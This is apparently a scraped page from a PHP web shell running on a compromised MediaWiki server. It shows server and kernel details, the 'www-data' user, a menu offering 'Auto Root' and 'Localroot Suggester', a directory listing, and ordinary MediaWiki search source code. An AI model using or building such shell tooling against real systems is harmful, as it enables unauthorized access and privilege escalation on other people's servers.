Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
search /
Delete
Unzip
Name
Size
Permission
Date
Action
AugmentPageProps.php
468
B
-rw-r--r--
2016-11-28 20:20
DummySearchIndexFieldDefinition.php
555
B
-rw-r--r--
2016-11-28 20:20
NullIndexField.php
994
B
-rw-r--r--
2016-11-28 20:20
ParserOutputSearchDataExtractor.php
2.5
KB
-rw-r--r--
2016-11-28 20:20
PerRowAugmentor.php
852
B
-rw-r--r--
2016-11-28 20:20
ResultAugmentor.php
253
B
-rw-r--r--
2016-11-28 20:20
ResultSetAugmentor.php
271
B
-rw-r--r--
2016-11-28 20:20
SearchDatabase.php
1.49
KB
-rw-r--r--
2016-11-28 20:20
SearchEngine.php
22.22
KB
-rw-r--r--
2016-11-28 20:20
SearchEngineConfig.php
2.5
KB
-rw-r--r--
2016-11-28 20:20
SearchEngineFactory.php
1.3
KB
-rw-r--r--
2016-11-28 20:20
SearchExactMatchRescorer.php
5.36
KB
-rw-r--r--
2016-11-28 20:20
SearchHighlighter.php
15.44
KB
-rw-r--r--
2016-11-28 20:20
SearchIBM_DB2.php
6.17
KB
-rw-r--r--
2011-05-28 21:00
SearchIndexField.php
1.81
KB
-rw-r--r--
2016-11-28 20:20
SearchIndexFieldDefinition.php
2.42
KB
-rw-r--r--
2016-11-28 20:20
SearchMssql.php
6.15
KB
-rw-r--r--
2016-11-28 20:20
SearchMySQL.php
12.27
KB
-rw-r--r--
2016-11-28 20:20
SearchNearMatchResultSet.php
593
B
-rw-r--r--
2016-11-28 20:20
SearchNearMatcher.php
4.35
KB
-rw-r--r--
2016-11-28 20:20
SearchOracle.php
7.22
KB
-rw-r--r--
2016-11-28 20:20
SearchPostgres.php
6.16
KB
-rw-r--r--
2016-11-28 20:20
SearchResult.php
6.27
KB
-rw-r--r--
2016-11-28 20:20
SearchResultSet.php
6.05
KB
-rw-r--r--
2016-11-28 20:20
SearchSqlite.php
8.57
KB
-rw-r--r--
2016-11-28 20:20
SearchSuggestion.php
4.38
KB
-rw-r--r--
2016-11-28 20:20
SearchSuggestionSet.php
5.64
KB
-rw-r--r--
2016-11-28 20:20
SearchUpdate.php
3.63
KB
-rw-r--r--
2011-11-30 01:41
SqlSearchResultSet.php
1.22
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * Database search engine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * @ingroup Search */ /** * Base search engine base class for database-backed searches * @ingroup Search * @since 1.23 */ class SearchDatabase extends SearchEngine { /** * @var IDatabase Slave database for reading from for results */ protected $db; /** * Constructor * @param IDatabase $db The database to search from */ public function __construct( IDatabase $db = null ) { if ( $db ) { $this->db = $db; } else { $this->db = wfGetDB( DB_REPLICA ); } } /** * Return a 'cleaned up' search string * * @param string $text * @return string */ protected function filter( $text ) { $lc = $this->legalSearchChars(); return trim( preg_replace( "/[^{$lc}]/", " ", $text ) ); } }